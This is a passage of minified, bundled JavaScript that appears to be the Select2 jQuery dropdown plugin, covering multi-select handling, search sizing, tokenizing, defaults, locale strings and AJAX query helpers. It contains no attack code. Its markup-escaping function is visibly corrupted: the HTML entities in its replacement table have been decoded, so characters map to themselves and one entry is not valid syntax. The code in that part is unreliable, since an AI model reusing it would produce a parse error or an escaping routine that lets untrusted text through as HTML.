t=[],i=0;i<o.length;i++)for(var a=o[i],r=0;r<n.length;r++){var l=n[r];if(m(a,e.id(l))){t.push(l),n.splice(r,1);break}}s(t)}:t.noop})}),e},selectChoice:function(t){var e=this.container.find(".select2-search-choice-focus");e.length&&t&&t[0]==e[0]||(e.length&&this.opts.element.trigger("choice-deselected",e),e.removeClass("select2-search-choice-focus"),t&&t.length&&(this.close(),t.addClass("select2-search-choice-focus"),this.opts.element.trigger("choice-selected",t)))},destroy:function(){t("label[for='"+this.search.attr("id")+"']").attr("for",this.opts.element.attr("id")),this.parent.destroy.apply(this,arguments),L.call(this,"searchContainer","selection")},initContainer:function(){var e,i=".select2-choices";this.searchContainer=this.container.find(".select2-search-field"),this.selection=e=this.container.find(i);var s=this;this.selection.on("click",".select2-search-choice:not(.select2-locked)",(function(e){s.search[0].focus(),s.selectChoice(t(this))})),this.search.attr("id","s2id_autogen"+n()),this.search.prev().text(t("label[for='"+this.opts.element.attr("id")+"']").text()).attr("for",this.search.attr("id")),this.search.on("input paste",this.bind((function(){this.search.attr("placeholder")&&0==this.search.val().length||this.isInterfaceEnabled()&&(this.opened()||this.open())}))),this.search.attr("tabindex",this.elementTabIndex),this.keydowns=0,this.search.on("keydown",this.bind((function(i){if(this.isInterfaceEnabled()){++this.keydowns;var s=e.find(".select2-search-choice-focus"),o=s.prev(".select2-search-choice:not(.select2-locked)"),n=s.next(".select2-search-choice:not(.select2-locked)"),a=function(e){var i=0,s=0;if("selectionStart"in(e=t(e)[0]))i=e.selectionStart,s=e.selectionEnd-i;else if("selection"in document){e.focus();var o=document.selection.createRange();s=document.selection.createRange().text.length,o.moveStart("character",-e.value.length),i=o.text.length-s}return{offset:i,length:s}}(this.search);if(s.length&&(i.which==d.LEFT||i.which==d.RIGHT||i.which==d.BACKSPACE||i.which==d.DELETE||i.which==d.ENTER)){var r=s;return i.which==d.LEFT&&o.length?r=o:i.which==d.RIGHT?r=n.length?n:null:i.which===d.BACKSPACE?this.unselect(s.first())&&(this.search.width(10),r=o.length?o:n):i.which==d.DELETE?this.unselect(s.first())&&(this.search.width(10),r=n.length?n:null):i.which==d.ENTER&&(r=null),this.selectChoice(r),w(i),void(r&&r.length||this.open())}if((i.which===d.BACKSPACE&&1==this.keydowns||i.which==d.LEFT)&&0==a.offset&&!a.length)return this.selectChoice(e.find(".select2-search-choice:not(.select2-locked)").last()),void w(i);if(this.selectChoice(null),this.opened())switch(i.which){case d.UP:case d.DOWN:return this.moveHighlight(i.which===d.UP?-1:1),void w(i);case d.ENTER:return this.selectHighlighted(),void w(i);case d.TAB:return this.selectHighlighted({noFocus:!0}),void this.close();case d.ESC:return this.cancel(i),void w(i)}if(i.which!==d.TAB&&!d.isControl(i)&&!d.isFunctionKey(i)&&i.which!==d.BACKSPACE&&i.which!==d.ESC){if(i.which===d.ENTER){if(!1===this.opts.openOnEnter)return;if(i.altKey||i.ctrlKey||i.shiftKey||i.metaKey)return}this.open(),i.which!==d.PAGE_UP&&i.which!==d.PAGE_DOWN||w(i),i.which===d.ENTER&&w(i)}}}))),this.search.on("keyup",this.bind((function(t){this.keydowns=0,this.resizeSearch()}))),this.search.on("blur",this.bind((function(e){this.container.removeClass("select2-container-active"),this.search.removeClass("select2-focused"),this.selectChoice(null),this.opened()||this.clearSearch(),e.stopImmediatePropagation(),this.opts.element.trigger(t.Event("select2-blur"))}))),this.container.on("click",i,this.bind((function(e){this.isInterfaceEnabled()&&(t(e.target).closest(".select2-search-choice").length>0||(this.selectChoice(null),this.clearPlaceholder(),this.container.hasClass("select2-container-active")||this.opts.element.trigger(t.Event("select2-focus")),this.open(),this.focusSearch(),e.preventDefault()))}))),this.container.on("focus",i,this.bind((function(){this.isInterfaceEnabled()&&(this.container.hasClass("select2-container-active")||this.opts.element.trigger(t.Event("select2-focus")),this.container.addClass("select2-container-active"),this.dropdown.addClass("select2-drop-active"),this.clearPlaceholder())}))),this.initContainerWidth(),this.opts.element.addClass("select2-offscreen"),this.clearSearch()},enableInterface:function(){this.parent.enableInterface.apply(this,arguments)&&this.search.prop("disabled",!this.isInterfaceEnabled())},initSelection:function(){if(""===this.opts.element.val()&&""===this.opts.element.text()&&(this.updateSelection([]),this.close(),this.clearSearch()),this.select||""!==this.opts.element.val()){var t=this;this.opts.initSelection.call(null,this.opts.element,(function(i){i!==e&&null!==i&&(t.updateSelection(i),t.close(),t.clearSearch())}))}},clearSearch:function(){var t=this.getPlaceholder(),i=this.getMaxSearchWidth();t!==e&&0===this.getVal().length&&!1===this.search.hasClass("select2-focused")?(this.search.val(t).addClass("select2-default"),this.search.width(i>0?i:this.container.css("width"))):this.search.val("").width(10)},clearPlaceholder:function(){this.search.hasClass("select2-default")&&this.search.val("").removeClass("select2-default")},opening:function(){this.clearPlaceholder(),this.resizeSearch(),this.parent.opening.apply(this,arguments),this.focusSearch(),""===this.search.val()&&this.nextSearchTerm!=e&&(this.search.val(this.nextSearchTerm),this.search.select()),this.updateResults(!0),this.opts.shouldFocusInput(this)&&this.search.focus(),this.opts.element.trigger(t.Event("select2-open"))},close:function(){this.opened()&&this.parent.close.apply(this,arguments)},focus:function(){this.close(),this.search.focus()},isFocused:function(){return this.search.hasClass("select2-focused")},updateSelection:function(e){var i=[],s=[],o=this;t(e).each((function(){g(o.id(this),i)<0&&(i.push(o.id(this)),s.push(this))})),e=s,this.selection.find(".select2-search-choice").remove(),t(e).each((function(){o.addSelectedChoice(this)})),o.postprocessResults()},tokenize:function(){var t=this.search.val();null!=(t=this.opts.tokenizer.call(this,t,this.data(),this.bind(this.onSelect),this.opts))&&t!=e&&(this.search.val(t),t.length>0&&this.open())},onSelect:function(t,i){this.triggerSelect(t)&&""!==t.text&&(this.addSelectedChoice(t),this.opts.element.trigger({type:"selected",val:this.id(t),choice:t}),this.nextSearchTerm=this.opts.nextSearchTerm(t,this.search.val()),this.clearSearch(),this.updateResults(),!this.select&&this.opts.closeOnSelect||this.postprocessResults(t,!1,!0===this.opts.closeOnSelect),this.opts.closeOnSelect?(this.close(),this.search.width(10)):this.countSelectableResults()>0?(this.search.width(10),this.resizeSearch(),this.getMaximumSelectionSize()>0&&this.val().length>=this.getMaximumSelectionSize()?this.updateResults(!0):this.nextSearchTerm!=e&&(this.search.val(this.nextSearchTerm),this.updateResults(),this.search.select()),this.positionDropdown()):(this.close(),this.search.width(10)),this.triggerChange({added:t}),i&&i.noFocus||this.focusSearch())},cancel:function(){this.close(),this.focusSearch()},addSelectedChoice:function(i){var s,o,n=!i.locked,a=t("<li class='select2-search-choice'> <div></div> <a href='#' class='select2-search-choice-close' tabindex='-1'></a></li>"),r=t("<li class='select2-search-choice select2-locked'><div></div></li>"),l=n?a:r,h=this.id(i),c=this.getVal();(s=this.opts.formatSelection(i,l.find("div"),this.opts.escapeMarkup))!=e&&l.find("div").replaceWith("<div>"+s+"</div>"),(o=this.opts.formatSelectionCssClass(i,l.find("div")))!=e&&l.addClass(o),n&&l.find(".select2-search-choice-close").on("mousedown",w).on("click dblclick",this.bind((function(e){this.isInterfaceEnabled()&&(this.unselect(t(e.target)),this.selection.find(".select2-search-choice-focus").removeClass("select2-search-choice-focus"),w(e),this.close(),this.focusSearch())}))).on("focus",this.bind((function(){this.isInterfaceEnabled()&&(this.container.addClass("select2-container-active"),this.dropdown.addClass("select2-drop-active"))}))),l.data("select2-data",i),l.insertBefore(this.searchContainer),c.push(h),this.setVal(c)},unselect:function(e){var i,s,o=this.getVal();if(0===(e=e.closest(".select2-search-choice")).length)throw"Invalid argument: "+e+". Must be .select2-search-choice";if(i=e.data("select2-data")){var n=t.Event("select2-removing");if(n.val=this.id(i),n.choice=i,this.opts.element.trigger(n),n.isDefaultPrevented())return!1;for(;(s=g(this.id(i),o))>=0;)o.splice(s,1),this.setVal(o),this.select&&this.postprocessResults();return e.remove(),this.opts.element.trigger({type:"select2-removed",val:this.id(i),choice:i}),this.triggerChange({removed:i}),!0}},postprocessResults:function(t,e,i){var s=this.getVal(),o=this.results.find(".select2-result"),n=this.results.find(".select2-result-with-children"),a=this;o.each2((function(t,e){g(a.id(e.data("select2-data")),s)>=0&&(e.addClass("select2-selected"),e.find(".select2-result-selectable").addClass("select2-selected"))})),n.each2((function(t,e){e.is(".select2-result-selectable")||0!==e.find(".select2-result-selectable:not(.select2-selected)").length||e.addClass("select2-selected")})),-1==this.highlight()&&!1!==i&&a.highlight(0),!this.opts.createSearchChoice&&!o.filter(".select2-result:not(.select2-selected)").length>0&&(!t||t&&!t.more&&0===this.results.find(".select2-no-results").length)&&E(a.opts.formatNoMatches,"formatNoMatches")&&this.results.append("<li class='select2-no-results'>"+P(a.opts.formatNoMatches,a.opts.element,a.search.val())+"</li>")},getMaxSearchWidth:function(){return this.selection.width()-x(this.search)},resizeSearch:function(){var e,i,s,o,n=x(this.search);e=function(e){if(!a){var i=e[0].currentStyle||window.getComputedStyle(e[0],null);(a=t(document.createElement("div")).css({position:"absolute",left:"-10000px",top:"-10000px",display:"none",fontSize:i.fontSize,fontFamily:i.fontFamily,fontStyle:i.fontStyle,fontWeight:i.fontWeight,letterSpacing:i.letterSpacing,textTransform:i.textTransform,whiteSpace:"nowrap"})).attr("class","select2-sizer"),t("body").append(a)}return a.text(e.val()),a.width()}(this.search)+10,i=this.search.offset().left,(o=(s=this.selection.width())-(i-this.selection.offset().left)-n)<e&&(o=s-n),o<40&&(o=s-n),o<=0&&(o=e),this.search.width(Math.floor(o))},getVal:function(){var t;return this.select?null===(t=this.select.val())?[]:t:v(t=this.opts.element.val(),this.opts.separator)},setVal:function(e){var i;this.select?this.select.val(e):(i=[],t(e).each((function(){g(this,i)<0&&i.push(this)})),this.opts.element.val(0===i.length?"":i.join(this.opts.separator)))},buildChangeDetails:function(t,e){e=e.slice(0),t=t.slice(0);for(var i=0;i<e.length;i++)for(var s=0;s<t.length;s++)m(this.opts.id(e[i]),this.opts.id(t[s]))&&(e.splice(i,1),i>0&&i--,t.splice(s,1),s--);return{added:e,removed:t}},val:function(i,s){var o,n=this;if(0===arguments.length)return this.getVal();if((o=this.data()).length||(o=[]),!i&&0!==i)return this.opts.element.val(""),this.updateSelection([]),this.clearSearch(),void(s&&this.triggerChange({added:this.data(),removed:o}));if(this.setVal(i),this.select)this.opts.initSelection(this.select,this.bind(this.updateSelection)),s&&this.triggerChange(this.buildChangeDetails(o,this.data()));else{if(this.opts.initSelection===e)throw new Error("val() cannot be called if initSelection() is not defined");this.opts.initSelection(this.opts.element,(function(e){var i=t.map(e,n.id);n.setVal(i),n.updateSelection(e),n.clearSearch(),s&&n.triggerChange(n.buildChangeDetails(o,n.data()))}))}this.clearSearch()},onSortStart:function(){if(this.select)throw new Error("Sorting of elements is not supported when attached to <select>. Attach to <input type='hidden'/> instead.");this.search.width(0),this.searchContainer.hide()},onSortEnd:function(){var e=[],i=this;this.searchContainer.show(),this.searchContainer.appendTo(this.searchContainer.parent()),this.resizeSearch(),this.selection.find(".select2-search-choice").each((function(){e.push(i.opts.id(t(this).data("select2-data")))})),this.setVal(e),this.triggerChange()},data:function(e,i){var s,o,n=this;if(0===arguments.length)return this.selection.children(".select2-search-choice").map((function(){return t(this).data("select2-data")})).get();o=this.data(),e||(e=[]),s=t.map(e,(function(t){return n.opts.id(t)})),this.setVal(s),this.updateSelection(e),this.clearSearch(),i&&this.triggerChange(this.buildChangeDetails(o,this.data()))}}),t.fn.select2=function(){var i,s,o,n,a,r=Array.prototype.slice.call(arguments,0),l=["val","destroy","opened","open","close","focus","isFocused","container","dropdown","onSortStart","onSortEnd","enable","disable","readonly","positionDropdown","data","search"],h=["opened","isFocused","container","dropdown"],c=["val","data"],d={search:"externalSearch"};return this.each((function(){if(0===r.length||"object"==typeof r[0])(i=0===r.length?{}:t.extend({},r[0])).element=t(this),"select"===i.element.get(0).tagName.toLowerCase()?a=i.element.prop("multiple"):(a=i.multiple||!1,"tags"in i&&(i.multiple=a=!0)),(s=a?new window.Select2.class.multi:new window.Select2.class.single).init(i);else{if("string"!=typeof r[0])throw"Invalid arguments to select2 plugin: "+r;if(g(r[0],l)<0)throw"Unknown method: "+r[0];if(n=e,(s=t(this).data("select2"))===e)return;if("container"===(o=r[0])?n=s.container:"dropdown"===o?n=s.dropdown:(d[o]&&(o=d[o]),n=s[o].apply(s,r.slice(1))),g(r[0],h)>=0||g(r[0],c)>=0&&1==r.length)return!1}})),n===e?this:n},t.fn.select2.defaults={width:"copy",loadMorePadding:0,closeOnSelect:!0,openOnEnter:!0,containerCss:{},dropdownCss:{},containerCssClass:"",dropdownCssClass:"",formatResult:function(t,e,i,s){var o=[];return M(t.text,i.term,o,s),o.join("")},formatSelection:function(t,i,s){return t?s(t.text):e},sortResults:function(t,e,i){return t},formatResultCssClass:function(t){return t.css},formatSelectionCssClass:function(t,i){return e},minimumResultsForSearch:0,minimumInputLength:0,maximumInputLength:null,maximumSelectionSize:0,id:function(t){return t==e?null:t.id},matcher:function(t,e){return f(""+e).toUpperCase().indexOf(f(""+t).toUpperCase())>=0},separator:",",tokenSeparators:[],tokenizer:function(t,i,s,o){var n,a,r,l,h,c=t,d=!1;if(!o.createSearchChoice||!o.tokenSeparators||o.tokenSeparators.length<1)return e;for(;;){for(a=-1,r=0,l=o.tokenSeparators.length;r<l&&(h=o.tokenSeparators[r],!((a=t.indexOf(h))>=0));r++);if(a<0)break;if(n=t.substring(0,a),t=t.substring(a+h.length),n.length>0&&(n=o.createSearchChoice.call(this,n,i))!==e&&null!==n&&o.id(n)!==e&&null!==o.id(n)){for(d=!1,r=0,l=i.length;r<l;r++)if(m(o.id(n),o.id(i[r]))){d=!0;break}d||s(n)}}return c!==t?t:void 0},escapeMarkup:S,blurOnChange:!1,selectOnBlur:!1,adaptContainerCssClass:function(t){return t},adaptDropdownCssClass:function(t){return null},nextSearchTerm:function(t,i){return e},searchInputPlaceholder:"",createSearchChoicePosition:"top",shouldFocusInput:function(t){return!(("ontouchstart"in window||navigator.msMaxTouchPoints>0)&&t.opts.minimumResultsForSearch<0)}},t.fn.select2.locales=[],t.fn.select2.locales.en={formatMatches:function(t){return 1===t?"One result is available, press enter to select it.":t+" results are available, use up and down arrow keys to navigate."},formatNoMatches:function(){return"No matches found"},formatAjaxError:function(t,e,i){return"Loading failed"},formatInputTooShort:function(t,e){var i=e-t.length;return"Please enter "+i+" or more character"+(1==i?"":"s")},formatInputTooLong:function(t,e){var i=t.length-e;return"Please delete "+i+" character"+(1==i?"":"s")},formatSelectionTooBig:function(t){return"You can only select "+t+" item"+(1==t?"":"s")},formatLoadMore:function(t){return"Loading more results…"},formatSearching:function(){return"Searching…"}},t.extend(t.fn.select2.defaults,t.fn.select2.locales.en),t.fn.select2.ajaxDefaults={transport:t.ajax,params:{type:"GET",cache:!1,dataType:"json"}},window.Select2={query:{ajax:T,local:C,tags:A},util:{debounce:b,markMatch:M,escapeMarkup:S,stripDiacritics:f},class:{abstract:i,single:s,multi:o}}}function u(e){var i=t(document.createTextNode(""));e.before(i),i.before(e),i.remove()}function f(t){return t.replace(/[^\u0000-\u007E]/g,(function(t){return p[t]||t}))}function g(t,e){for(var i=0,s=e.length;i<s;i+=1)if(m(t,e[i]))return i;return-1}function m(t,i){return t===i||t!==e&&i!==e&&null!==t&&null!==i&&(t.constructor===String?t+""==i+"":i.constructor===String&&i+""==t+"")}function v(e,i){var s,o,n;if(null===e||e.length<1)return[];for(o=0,n=(s=e.split(i)).length;o<n;o+=1)s[o]=t.trim(s[o]);return s}function x(t){return t.outerWidth(!1)-t.width()}function y(i){var s="keyup-change-value";i.on("keydown",(function(){t.data(i,s)===e&&t.data(i,s,i.val())})),i.on("keyup",(function(){var o=t.data(i,s);o!==e&&i.val()!==o&&(t.removeData(i,s),i.trigger("keyup-change"))}))}function b(t,i,s){var o;return s=s||e,function(){var e=arguments;window.clearTimeout(o),o=window.setTimeout((function(){i.apply(s,e)}),t)}}function w(t){t.preventDefault(),t.stopPropagation()}function k(e,i,s){var o,n,a=[];(o=t.trim(e.attr("class")))&&t((o=""+o).split(/\s+/)).each2((function(){0===this.indexOf("select2-")&&a.push(this)})),(o=t.trim(i.attr("class")))&&t((o=""+o).split(/\s+/)).each2((function(){0!==this.indexOf("select2-")&&(n=s(this))&&a.push(n)})),e.attr("class",a.join(" "))}function M(t,e,i,s){var o=f(t.toUpperCase()).indexOf(f(e.toUpperCase())),n=e.length;o<0?i.push(s(t)):(i.push(s(t.substring(0,o))),i.push("<span class='select2-match'>"),i.push(s(t.substring(o,o+n))),i.push("</span>"),i.push(s(t.substring(o+n,t.length))))}function S(t){var e={"\\":"\","&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};return String(t).replace(/[&<>"'\/\\]/g,(function(t){return e[t]}))}function T(i){var s,o=null,n=i.quietMillis||100,a=i.url,r=this;return function(l){window.clearTimeout(s),s=window.setTimeout((function(){var s=i.data,n=a,h=i.transport||t.fn.select2.ajaxDefaults.transport,c={type:i.type||"GET",cache:i.cache||!1,jsonpCallback:i.jsonpCallback||e,dataType:i.dataType||"json"},d=t.extend({},t.fn.select2.ajaxDefaults.params,c);s=s?s.call(r,l.term,l.page,l.context):null,n="function"==typeof n?n.call(r,l.term,l.page,l.context):n,o&&"function"==typeof o.abort&&o.abort(),i.params&&(t.isFunction(i.params)?t.extend(d,i.params.call(r)):t.extend(d,i.params)),t.extend(d,{url:n,dataType:i.dataType,data:s,success:function(t){var e=i.results(t,l.page,l);l.callback(e)},error:function(t,e,i){var s={hasError:!0,jqXHR:t,textStatus:e,errorThrown:i};l.callback(s)}}),o=h.call(r,d)}),n)}}function C(e){var i,s,o=e,n=function(t){return""+t.text};t.isArray(o)&&(o={results:s=o}),!1===t.isFunction(o)&&(s=o,o=function(){return s});var a=o();return a.text&&(n=a.text,t.isFunction(n)||(i=a.text,n=function(t){return t[i]})),function(e){var i,s=e.term,a={results:[]};""!==s?(i=function(o,a){var r,l;if((o=o[0]).children){for(l in r={},o)o.hasOwnProperty(l)&&(r[l]=o[l]);r.children=[],t(o.children).each2((function(t,e){i(e,r.children)})),(r.children.length||e.matcher(s,n(r),o))&&a.push(r)}else e.matcher(s,n(o),o)&&a.push(o)},t(o().results).each2((function(t,e){i(e,a.results)})),e.callback(a)):e.callback(o())}}function A(i){var s=t.isFunction(i);return function(o){var n=o.term,a={results:[]},r=s?i(o):i;t.isArray(r)&&(t(r).each((function(){var t=this.text!==e,i=t?this.text:this;(""===n||o.matcher(n,i))&&a.results.push(t?this:{id:this,text:this})})),o.callback(a))}}function E(e,i){if(t.isFunction(e))return!0;if(!e)return!1;if("string"==typeof e)return!0;throw new Error(i+" must be a string, function, or falsy value")}function P(e,i){if(t.isFunction(e)){var s=Array.prototype.slice.call(arguments,2);return e.apply(i,s)}return e}function O(e){var i=0;return t.each(e,(function(t,e){e.children?i+=O(e.children):i++})),i}function L(){var e=this;t.each(arguments,(function(t,i){e[i].remove(),e[i]=null}))}function D(e,i){var s=function(){};return(s.prototype=new e).constructor=s,s.prototype.parent=e.prototype,s.prototype=t.extend(s.prototype,i),s}}(o)},3609:function(t){"use strict";t.exports=jQuery}},e={};function i(s){if(e[s])return e[s].exports;var o=e[s]={exports:{}};return t[s].call(o.exports,o,o.exports,i),o.exports}i.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return i.d(e,{a:e}),e},i.d=function(t,e){for(var s in e)i.o(e,s)&&!i.o(t,s)&&Object.defineProperty(t,s,{enumerable:!0,get:e[s]})},i.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},i(9745),i(8334),i(6469),i(2290),i(3553),i(6969),i(6355)}();